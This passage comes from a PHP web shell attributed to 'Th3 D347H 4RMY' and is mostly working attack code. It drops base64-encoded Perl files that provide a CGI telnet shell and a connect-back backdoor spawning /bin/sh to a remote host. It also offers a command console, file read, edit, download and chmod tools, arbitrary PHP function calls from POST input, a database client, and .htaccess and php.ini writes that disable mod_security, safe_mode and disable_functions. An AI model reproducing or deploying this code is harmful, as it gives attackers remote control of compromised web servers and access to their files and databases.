1852Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
1853UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
1854aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
1855bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
1856CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
1857LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1858LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
1859d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
1860aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
1861LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
1862LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1863LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
1864cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
1865DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
1866cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
1867DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
1868c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
1869bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
1870YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
1871bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
1872Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
1873aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
1874aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
1875dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
1876bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
1877YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
1878cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
1879CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
1880aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
1881cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
1882bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
1883LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1884LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
1885IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
1886IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
1887ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
1888ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
1889Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1890LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
1891ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
1892ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
1893ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
1894IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
1895aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
1896ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
1897JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
1898ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
1899PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
1900Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
1901CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
1902dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
1903Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1904LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
1905IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1906LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1907CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
1908SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
1909c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
1910ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
1911Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
1912ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
1913bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
1914cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
1915ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
1916b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
1917b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
1918dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
1919ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
1920bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
1921bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
1922b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
1923 $file = fopen("izo.cin", "w+");
1924 $write = fwrite($file, base64_decode($cgishellizocin));
1925 fclose($file);
1926 chmod("izo.cin", 0755);
1927 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1928MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1929ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1930MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1931ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1932MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1933Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1934KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1935SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1936ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1937UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1938VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1939ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1940JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1941bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1942ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1943YXRhY2hlZFxuXG4iOw==';
1944 $file = fopen("dc.pl", "w+");
1945 $write = fwrite($file, base64_decode($netcatshell));
1946 fclose($file);
1947 chmod("dc.pl", 0755);
1948 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
1949 echo '</div>';
1950 printFooter();
1951 }
1952
1953function actionStringTools() {
1954 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1955 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1956 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
1957 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1958 if(isset($_POST['ajax'])) {
1959 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1960 ob_start();
1961 if(function_exists($_POST['p1']))
1962 echo $_POST['p1']($_POST['p2']);
1963 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1964 echo strlen($temp), "\n", $temp;
1965 exit;
1966 }
1967 printHeader();
1968 echo '<h1>String conversions</h1><div class=content>';
1969 $stringTools = array(
1970 'Base64 encode' => 'base64_encode',
1971 'Base64 decode' => 'base64_decode',
1972 'Url encode' => 'urlencode',
1973 'Url decode' => 'urldecode',
1974 'Full urlencode' => 'full_urlencode',
1975 'md5 hash' => 'md5',
1976 'sha1 hash' => 'sha1',
1977 'crypt' => 'crypt',
1978 'CRC32' => 'crc32',
1979 'ASCII to HEX' => 'ascii2hex',
1980 'HEX to ASCII' => 'hex2ascii',
1981 'HEX to DEC' => 'hexdec',
1982 'HEX to BIN' => 'hex2bin',
1983 'DEC to HEX' => 'dechex',
1984 'DEC to BIN' => 'decbin',
1985 'BIN to HEX' => 'bin2hex',
1986 'BIN to DEC' => 'bindec',
1987 'String to lower case' => 'strtolower',
1988 'String to upper case' => 'strtoupper',
1989 'Htmlspecialchars' => 'htmlspecialchars',
1990 'String length' => 'strlen',
1991 );
1992 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1993 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1994 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1995 foreach($stringTools as $k => $v)
1996 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1997 echo "</select><input type='submit' value='Submit'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1998 if(!empty($_POST['p1'])) {
1999 if(function_exists($_POST['p1']))
2000 echo htmlspecialchars($_POST['p1']($_POST['p2']));
2001 }
2002 echo"</pre></div>";
2003 printFooter();
2004}
2005function actionFilesTools() {
2006 if( isset($_POST['p1']) )
2007 $_POST['p1'] = urldecode($_POST['p1']);
2008 if(@$_POST['p2']=='download') {
2009 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
2010 ob_start("ob_gzhandler", 4096);
2011 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2012 if (function_exists("mime_content_type")) {
2013 $type = @mime_content_type($_POST['p1']);
2014 header("Content-Type: ".$type);
2015 }
2016 $fp = @fopen($_POST['p1'], "r");
2017 if($fp) {
2018 while(!@feof($fp))
2019 echo @fread($fp, 1024);
2020 fclose($fp);
2021 }
2022 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
2023 }
2024 exit;
2025 }
2026 if( @$_POST['p2'] == 'mkfile' ) {
2027 if(!file_exists($_POST['p1'])) {
2028 $fp = @fopen($_POST['p1'], 'w');
2029 if($fp) {
2030 $_POST['p2'] = "edit";
2031 fclose($fp);
2032 }
2033 }
2034 }
2035 printHeader();
2036 echo '<h1>File tools</h1><div class=content>';
2037 if( !file_exists(@$_POST['p1']) ) {
2038 echo 'File not exists';
2039 printFooter();
2040 return;
2041 }
2042 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2043 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
2044 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2045 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2046 if( empty($_POST['p2']) )
2047 $_POST['p2'] = 'view';
2048 if( is_file($_POST['p1']) )
2049 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2050 else
2051 $m = array('Chmod', 'Rename', 'Touch');
2052 foreach($m as $v)
2053 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2054 echo '<br><br>';
2055 switch($_POST['p2']) {
2056 case 'view':
2057 echo '<pre class=ml1>';
2058 $fp = @fopen($_POST['p1'], 'r');
2059 if($fp) {
2060 while( !@feof($fp) )
2061 echo htmlspecialchars(@fread($fp, 1024));
2062 @fclose($fp);
2063 }
2064 echo '</pre>';
2065 break;
2066 case 'highlight':
2067 if( is_readable($_POST['p1']) ) {
2068 echo '<div class=ml1 style="background-color: #000;color:black;">';
2069 $code = highlight_file($_POST['p1'],true);
2070 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2071 }
2072 break;
2073 case 'chmod':
2074 if( !empty($_POST['p3']) ) {
2075 $perms = 0;
2076 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2077 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2078 if(!@chmod($_POST['p1'], $perms))
2079 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2080 else
2081 die('<script>g(null,null,null,null,"")</script>');
2082 }
2083 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="Submit"></form>';
2084 break;
2085 case 'edit':
2086 if( !is_writable($_POST['p1'])) {
2087 echo 'File isn\'t writeable';
2088 break;
2089 }
2090 if( !empty($_POST['p3']) ) {
2091 @file_put_contents($_POST['p1'],$_POST['p3']);
2092 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
2093 }
2094 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
2095 $fp = @fopen($_POST['p1'], 'r');
2096 if($fp) {
2097 while( !@feof($fp) )
2098 echo htmlspecialchars(@fread($fp, 1024));
2099 @fclose($fp);
2100 }
2101 echo '</textarea><input type=submit value="Submit"></form>';
2102 break;
2103 case 'hexdump':
2104 $c = @file_get_contents($_POST['p1']);
2105 $n = 0;
2106 $h = array('00000000<br>','','');
2107 $len = strlen($c);
2108 for ($i=0; $i<$len; ++$i) {
2109 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2110 switch ( ord($c[$i]) ) {
2111 case 0: $h[2] .= ' '; break;
2112 case 9: $h[2] .= ' '; break;
2113 case 10: $h[2] .= ' '; break;
2114 case 13: $h[2] .= ' '; break;
2115 default: $h[2] .= $c[$i]; break;
2116 }
2117 $n++;
2118 if ($n == 32) {
2119 $n = 0;
2120 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2121 $h[1] .= '<br>';
2122 $h[2] .= "\n";
2123 }
2124 }
2125 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2126 break;
2127 case 'rename':
2128 if( !empty($_POST['p3']) ) {
2129 if(!@rename($_POST['p1'], $_POST['p3']))
2130 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
2131 else
2132 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2133 }
2134 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="Submit"></form>';
2135 break;
2136 case 'touch':
2137 if( !empty($_POST['p3']) ) {
2138 $time = strtotime($_POST['p3']);
2139 if($time) {
2140 if(@touch($_POST['p1'],$time,$time))
2141 die('<script>g(null,null,null,null,"")</script>');
2142 else {
2143 echo 'Fail!<script>document.mf.p3.value="";</script>';
2144 }
2145 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
2146 }
2147 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="Submit"></form>';
2148 break;
2149 case 'mkfile':
2150 break;
2151 }
2152 echo '</div>';
2153 printFooter();
2154}
2155function actionConsole() {
2156 if(isset($_POST['ajax'])) {
2157 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2158 ob_start();
2159 echo "document.cf.cmd.value='';\n";
2160 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
2161 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2162 if(@chdir($match[1])) {
2163 $GLOBALS['cwd'] = @getcwd();
2164 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
2165 }
2166 }
2167 echo "document.cf.output.value+='".$temp."';";
2168 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
2169 $temp = ob_get_clean();
2170 echo strlen($temp), "\n", $temp;
2171 exit;
2172 }
2173 printHeader();
2174echo '<script>
2175if(window.Event) window.captureEvents(Event.KEYDOWN);
2176var cmds = new Array("");
2177var cur = 0;
2178function kp(e) {
2179 var n = (window.Event) ? e.which : e.keyCode;
2180 if(n == 38) {
2181 cur--;
2182 if(cur>=0)
2183 document.cf.cmd.value = cmds[cur];
2184 else
2185 cur++;
2186 } else if(n == 40) {
2187 cur++;
2188 if(cur < cmds.length)
2189 document.cf.cmd.value = cmds[cur];
2190 else
2191 cur--;
2192 }
2193}
2194function add(cmd) {
2195 cmds.pop();
2196 cmds.push(cmd);
2197 cmds.push("");
2198 cur = cmds.length-1;
2199}
2200</script>';
2201 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
2202 foreach($GLOBALS['aliases'] as $n => $v) {
2203 if($v == '') {
2204 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2205 continue;
2206 }
2207 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2208 }
2209 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2210 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2211 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value="Submit"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
2212 if(!empty($_POST['p1'])) {
2213 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
2214 }
2215 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
2216 echo '</form></div><script>document.cf.cmd.focus();</script>';
2217 printFooter();
2218}
2219function actionLogout() {
2220 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
2221 echo '<body bgcolor=#000000><center><img src="http://images.all-free-download.com/images/graphiclarge/abstract_indian_shiny_flag_black_tricolor_wave_6818267.jpg"><h1><font color="#FFFFFF"> BYE BHAI <br><h2><font size="4">SHELL BY Th3 D347H 4RMY <p><h2> Th3 D347H 4RMY <br><h2><font color="#FFFFFF">HINDUSTAN<font color="#fff">ZINDABAD</h2><p><font color="BLUE" font size="4">WE ARE :<marquee width="80%"> Th3 D347H 4RMY </marquee></font></font></font></center></body>';
2222}
2223
2224function actionBypass() {
2225 printHeader();
2226 echo '<h1>Safe Mode</h1>';
2227 echo '<div class="content">';
2228 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
2229 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
2230 if(!empty($_POST['p2']) && isset($_POST['p2']))
2231 {
2232 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2233 fwrite($fil,'<IfModule mod_security.c>
2234 Sec------Engine Off
2235 Sec------ScanPOST Off
2236 </IfModule>');
2237 fclose($fil);
2238 }
2239 if(!empty($_POST['p1'])&& isset($_POST['p1']))
2240 {
2241 $fil=fopen($GLOBALS['cwd']."php.ini","w");
2242 fwrite($fil,'safe_mode=OFF
2243 disable_functions=NONE');
2244 fclose($fil);
2245 }
2246 if(!empty($_POST['p3']) && isset($_POST['p3']))
2247 {
2248 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
2249 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
2250 AddType application/x-httpd-cgi .sh
2251 AddHandler cgi-script .pl
2252 AddHandler cgi-script .pl');
2253 fclose($fil);
2254 }
2255 echo "<br><br /><br /></div>";
2256 echo '</div>';
2257 printFooter();
2258}
2259
2260function actionSql() {
2261 class DbClass {
2262 var $type;
2263 var $link;
2264 var $res;
2265 function DbClass($type) {
2266 $this->type = $type;
2267 }
2268 function connect($host, $user, $pass, $dbname){
2269 switch($this->type) {
2270 case 'mysql':
2271 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2272 break;
2273 case 'pgsql':
2274 $host = explode(':', $host);
2275 if(!$host[1]) $host[1]=5432;
2276 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2277 break;
2278 }
2279 return false;
2280 }
2281 function selectdb($db) {
2282 switch($this->type) {
2283 case 'mysql':
2284 if (@mysql_select_db($db))return true;
2285 break;
2286 }
2287 return false;
2288 }
2289 function query($str) {
2290 switch($this->type) {
2291 case 'mysql':
2292 return $this->res = @mysql_query($str);
2293 break;
2294 case 'pgsql':
2295 return $this->res = @pg_query($this->link,$str);
2296 break;
2297 }
2298 return false;
2299 }
2300 function fetch() {
2301 $res = func_num_args()?func_get_arg(0):$this->res;
2302 switch($this->type) {
2303 case 'mysql':
2304 return @mysql_fetch_assoc($res);
2305 break;
2306 case 'pgsql':
2307 return @pg_fetch_assoc($res);
2308 break;
2309 }
2310 return false;
2311 }
2312 function listDbs() {
2313 switch($this->type) {
2314 case 'mysql':
2315 return $this->res = @mysql_list_dbs($this->link);
2316 break;
2317 case 'pgsql':
2318 return $this->res = $this->query("SELECT datname FROM pg_database");
2319 break;
2320 }
2321 return false;
2322 }
2323 function listTables() {
2324 switch($this->type) {
2325 case 'mysql':
2326 return $this->res = $this->query('SHOW TABLES');
